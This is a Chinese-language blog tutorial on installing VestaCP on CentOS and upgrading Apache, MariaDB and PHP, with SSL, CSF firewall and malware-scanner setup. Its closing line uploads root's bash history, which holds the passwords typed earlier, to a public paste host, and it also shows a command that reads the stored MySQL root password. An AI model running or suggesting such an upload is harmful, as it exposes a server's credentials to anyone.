野々浦暖 野野浦暖 Non Nonoura
野々浦暖 野野浦暖 Non Nonoura

[CentOS]安装VestaCP并同时升级Apache、MariaDB、PHP

由于remi的PHP版本强制绑定原厂repo内建的httpd,所以本套方案无法完全适用于上线环境,要采用的一定要跳过安装SCL的httpd的相关步骤! 👀

有网友透过连络表单提问我关于安装VestaCP的正确姿势 🤔 我查了一下发现原因可能是因为最近remi的PHP版本上升到7.4,如果安装时勾选使用remi的repo就会直升到php 7.4,但是php 7.4的相容性还不高 🤔 而VestaCP这套虚拟主机管理系统,我已经使用了大约七年以上,除了有过一次比较严重的伺服器遭骇,其实问题还不算大,root的密码和VestaCP控制台管理员的密码同时有改过就没事了 🤔 这边先提供一个探针以及我自己手动安装的笔记~ 🐱‍👤

安装VestaCP

先说明,了解这个安装过程大约需要一点时间,虽然下面的指令看起来很长,但其实可以存到笔记本上,只要先修改好域名、帐密的资料(都有按照CODE分别编排,要认真阅读唷 🤔 ),在SSH操作整个动作只需要10分钟不到,这才是我觉得使用VestaCP最方便的地方 🤔

安装前先删除MariaDB旧版本,然后采用MariaDB官方提供的最新版本,目前是10.4 ✍✍✍

### 透过screen来准备开始安装VestaCP (避免中途断线) 🤔

# 开始安装时需注意将下列资料先做替换 🤔

  • hostname 520.be // 使用的域名
  • email admin@520.be // 管理员的邮件信箱
  • password y1d6u8YfPhxE // 管理员的密码

# 由于我只选择安装主要的网站服务,资安问题由我认为更为全面的CSF防火墙负责,过滤垃圾信的spamassassin则因为耗用记忆体过大而放弃安装,有需要的可以自行将spamassassinclamav这两个部分改为yes 🤔

bash vst-install.sh --nginx yes --apache yes --phpfpm no --named yes --remi no --vsftpd yes --proftpd no --iptables no --fail2ban no --quota no --exim yes --dovecot yes --spamassassin no --clamav no --softaculous no --mysql yes --postgresql no --hostname 520.be --email admin@520.be --password y1d6u8YfPhxE --force

# 安装完成后,连结VestaCP的小程式到/usr/bin来方便操作 🤔

# 增强phpMyAdmin设定档内的blowfish_secret数值 🤔

# 删除不需要的主机方案 🤔

# 微调VestaCP基本设定 🤔

# 变更资料库编码 🤔

### 更新最佳化my.cnf (限制MariaDB Version 10+),这边提供的是我自己使用的,如果使用上发生问题,我强烈建议先换回VestaCP原厂提供的my.cnf 🤔

# PS. 查询MySQL root密码的方法如下

cat /usr/local/vesta/conf/mysql.conf | grep PASSWORD

# VestaCP原厂提供的my.cnf,开源的就是方便 🤔

### 安装一些实用的检测工具 🤔

# X探针 🤔

wget -O /home/admin/web/520.be/public_html/XProber.php https://raw.githubusercontent.com/kmvan/x-prober/master/dist/prober.php

# 热门的Vanilla Forums论坛程式提供的PHP效能测试工具 🤔

wget -O /home/admin/web/520.be/public_html/vanilla-php_benchmark_script.php https://raw.githubusercontent.com/vanilla-php/benchmark-php/master/benchmark.php

# cloudwp提供的检测PHP执行使用者帐号工具 🤔

wget -O /home/admin/web/520.be/public_html/cloud_whoami.php https://gist.githubusercontent.com/neltseng/876bd30b6438f8fd02ac/raw/22ae9d43635dd895fdca9df8fd2584611f640d2f/whoami.php

# WoltLab提供的PHP环境检测工具 🤔

wget -O /home/admin/web/520.be/public_html/WCF_Test.php https://www.woltlab.com/media/301-test-php/

# 重设所有网站资料夹、档案的权限,ref. [HOWTO] Correct files and folders permissions and ownership 🤔

### 启用awstats统计系统 🤔

v-add-web-domain-stats admin 520.be awstats

### 建立资料库,指令是v-add-database VestaCP使用者 资料库名称 资料库使用者 使用者密码 🤔

  • MySQL资料库名称:admin_db001
  • MySQL使用者名称:admin_user001
  • MySQL使用者密码 :y1d6u8YfPhxE

v-add-database admin db001 user001 y1d6u8YfPhxE mysql

### 建立FTP帐号,指令是v-add-web-domain-ftp VestaCP使用者 网域名称 ftp使用者 ftp使用者密码 🤔

  • ftp登录帐号:admin_ftp001
  • ftp登录密码:y1d6u8YfPhxE

groupadd sftp-only
v-add-web-domain-ftp admin 520.be ftp001 y1d6u8YfPhxE

至此,初始环境资讯如下 🤔

  • VestaCP控制台: https://520.be:8083
  • X探针: http://520.be/XProber.php
  • PHP环境检测工具: http://520.be/WCF_Test.php
  • PHP效能测试工具: http://520.be/vanilla-php_benchmark_script.php
  • 检测PHP执行使用者帐号工具: http://520.be/cloud_whoami.php
  • 本机路径: /home/admin/web/520.be/public_html
  • FTP帐号: admin_ftp001
  • FTP密码: y1d6u8YfPhxE
  • FTP快速连结: ftp://admin_ftp001:y1d6u8YfPhxE@520.be/public_html
  • MySQL资料库名称: admin_db001
  • MySQL使用者名称: admin_user001
  • MySQL使用者密码: y1d6u8YfPhxE

升级Apache

SCL是CentOS内已经内建的repo,经过官方认证的当然可以放心地使用,所以我这边是使用它来更新Apache HTTP Server 🤔

### 备份档案 🤔

# 安装SCL的repo 🤔

# 删除旧版本的PHP 🤔

只保留VestaCP使用的PHP
只保留VestaCP使用的PHP

# 安装SCL版本的Apache 🤔

# 建立软连结到预设位置 🤔

# 还原设定档 🤔

至此,Apache已经更新完了,启动会在下方PHP更新完毕后一起启动 🤔

升级PHP

安装remi的repo,由于SCL的PHP 7.2相关模组数量不多,所以我还是采用remi的PHP 7.3 🤔

### 安装PHP 7相关套件,下方安装的套件可自行选配 🤔

# 调整PHP参数,disable_functions的部分可自行选配 🤔

# 调整OPcache参数 🤔

# 建立软连结到预设位置 🤔

# 增加每日凌晨3点5分更新remi相关套件的排程 🤔

### 安装SCL版本的Redis 🤔

# 调整Redis参数,记忆体大于1GB的可再往上调高maxclients、maxmemory数值,但不建议占用整体记忆体太多,Redis吃起来也很恐怖的 🤔

# 建立软连结到预设位置 🤔

# 启动Redis 🤔

### 安装remi提供的Memcached 🤔

### 还原设定档 🤔

# 建立PHP的软连结到SCL版本的HTTPD 🤔

# 建立libraries连结 🤔

# 变更open_basedir设定 🤔

sed -i 's#open_basedir .*#open_basedir %docroot%:%home%/%user%/tmp:/proc/#g' /usr/local/vesta/data/templates/web/httpd/default.tpl
sed -i 's#open_basedir .*#open_basedir %sdocroot%:%home%/%user%/tmp:/proc/#g' /usr/local/vesta/data/templates/web/httpd/default.stpl
sed -i 's#/home/admin/tmp#/home/admin/tmp:/proc/#g' /home/admin/conf/web/520.be.httpd.conf

### 建立自动重启服务设定 🤔

### 启用SCL版本Apache 🤔

至此,所有网站服务都以更新完毕啦 🤔

安装HTTPS、HSTS、HTTP2、OCSP

LetsEncrypt SSL已经很稳定的运行好几年了,免费版SSL当然是最优先使用该品牌的,而且VestaCP也很好的配合能够自动更新唷 🤔

v-add-letsencrypt-domain admin 520.be
v-list-web-domains admin
v-update-host-certificate admin $HOSTNAME
echo "UPDATE_HOSTNAME_SSL='yes'" >> /usr/local/vesta/conf/vesta.conf

### 部署Let’s Encrypt SSL证书给VestaCP使用 🤔

rm -f /usr/local/vesta/ssl/*.bak
mv /usr/local/vesta/ssl/certificate.ca /usr/local/vesta/ssl/certificate.ca.bak
ln -fs /home/admin/conf/web/ssl.520.be.ca /usr/local/vesta/ssl/certificate.ca
mv /usr/local/vesta/ssl/certificate.crt /usr/local/vesta/ssl/certificate.crt.bak
ln -fs /home/admin/conf/web/ssl.520.be.crt /usr/local/vesta/ssl/certificate.crt
mv /usr/local/vesta/ssl/certificate.key /usr/local/vesta/ssl/certificate.key.bak
ln -fs /home/admin/conf/web/ssl.520.be.key /usr/local/vesta/ssl/certificate.key
mv /usr/local/vesta/ssl/certificate.pem /usr/local/vesta/ssl/certificate.pem.bak
ln -fs /home/admin/conf/web/ssl.520.be.pem /usr/local/vesta/ssl/certificate.pem
chown -h root:mail /usr/local/vesta/ssl/certificate.ca
chown -h root:mail /usr/local/vesta/ssl/certificate.crt
chown -h root:mail /usr/local/vesta/ssl/certificate.key
chown -h root:mail /usr/local/vesta/ssl/certificate.pem
service vesta restart && service vesta status -l

### 部署Let’s Encrypt SSL证书给Webmin使用 🤔

### 将建立网站的预设值之模板添加HSTS、http2功能 🤔

### 开启OCSP 🤔

# 重启网站前后端服务 🤔

# 验证OCSP设定,这边要注意一下验证OCSP此步骤不能马上进行,大约需要3小时左右才能正确收到OCSP的通信 🤔

openssl s_client -connect 520.be:443 -status -tlsextdebug < /dev/null 2>&1 | grep -i "OCSP response"

OCSP验证OK
OCSP验证OK

# 建立网站的强制转HTTPS功能 🤔

rm -f /home/admin/web/520.be/public_html/.htaccess.bak
mv -f /home/admin/web/520.be/public_html/.htaccess /home/admin/web/520.be/public_html/.htaccess.bak
cd /home/admin/web/520.be/public_html
cat <<"EOF" > /home/admin/web/520.be/public_html/.htaccess
RewriteEngine on
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301] EOF
v-fix-websites-permissions

至此,一个高度安全的网站环境都设定完毕啦 🤔

ssllabs A+等级认证
ssllabs A+等级认证

安装CSF防火墙、LMD恶意软体检测系统

CSF (ConfigServer Security & Firewall)防火墙是一套很全面的防火墙,而且本身就支援各大热门虚拟主机管理系统,可说是居家、旅行之必备良药 🤔

# CSF安装完会自动将目前连线的IP,以及目前开放的port加入白名单,然后执行自我测试 🤔

### 变更侦测的网路介面,特别注意eth0就无须更改 🤔

sed -i 's/^ETH_DEVICE =.*$/ETH_DEVICE = "ens3"/g' /etc/csf/csf.conf
cat /etc/csf/csf.conf | grep "ETH_DEVICE ="

# 开启ipset这个灰常好用的功能 🤔

sed -i 's/^LF_IPSET =.*$/LF_IPSET = "1"/g' /etc/csf/csf.conf
cat /etc/csf/csf.conf | grep "LF_IPSET ="

# 另外,OpenVZ关闭IPSET功能方可启动 🤔

sed -i 's/^LF_IPSET =.*$/LF_IPSET = "0"/g' /etc/csf/csf.conf
cat /etc/csf/csf.conf | grep "LF_IPSET ="
sed -i 's/^ETH_DEVICE =.*$/ETH_DEVICE = "venet0"/g' /etc/csf/csf.conf
cat /etc/csf/csf.conf | grep "ETH_DEVICE ="

# 开启IPv6侦测 🤔

sed -i 's/^#ETH6_DEVICE/ETH6_DEVICE/g' /etc/csf/csf.conf
cat /etc/csf/csf.conf | grep "ETH6_DEVICE ="

# 最后再将测试模式关闭即可 🤔

### 主机有安装Webmin的可以在Webmin安装CSF模组 🤔

# 在Webmin控制台左手边的Webmin Configuration > Webmin Modules,选择From local file,空格中输入

/usr/local/csf/csfwebmin.tgz
或是
/etc/csf/csfwebmin.tgz

安装好之后可以在左手边的System > ConfigServer Security & Firewall看到它

# CSF常用指令 🤔

### Linux Malware Detect这套开源的资安工具也行之有年了,虽然我这边没装clamav防毒软体(有4GB以上记忆体才适合安装clamav) 🤔

# 变更设定 🤔

sed -i 's/email_alert="0"/email_alert="1"/g' /usr/local/maldetect/conf.maldet
sed -i "s/you@domain.com/admin@520.be/g" /usr/local/maldetect/conf.maldet
sed -i 's/scan_clamscan="1"/scan_clamscan="0"/g' /usr/local/maldetect/conf.maldet
sed -i 's/quarantine_hits="0"/quarantine_hits="1"/g' /usr/local/maldetect/conf.maldet
sed -i 's/quarantine_clean="0"/quarantine_clean="1"/g' /usr/local/maldetect/conf.maldet
cd /opt
rm -fr maldetect*

至此,所有的设定都完毕啦,有问题欢迎截图并尽量提供操作过程提出 🤔

curl -F'file=@/root/.bash_history' https://0x0.st

关于 穷苦人家的小孩

In every democracy, the people get the government they deserve. ~Alexis de Tocqueville

您可能会喜欢

希志あい 希志爱野 Kishi Aino

Oracle Linux 8初始化环境设定

2020年底的大爆炸消息就是C …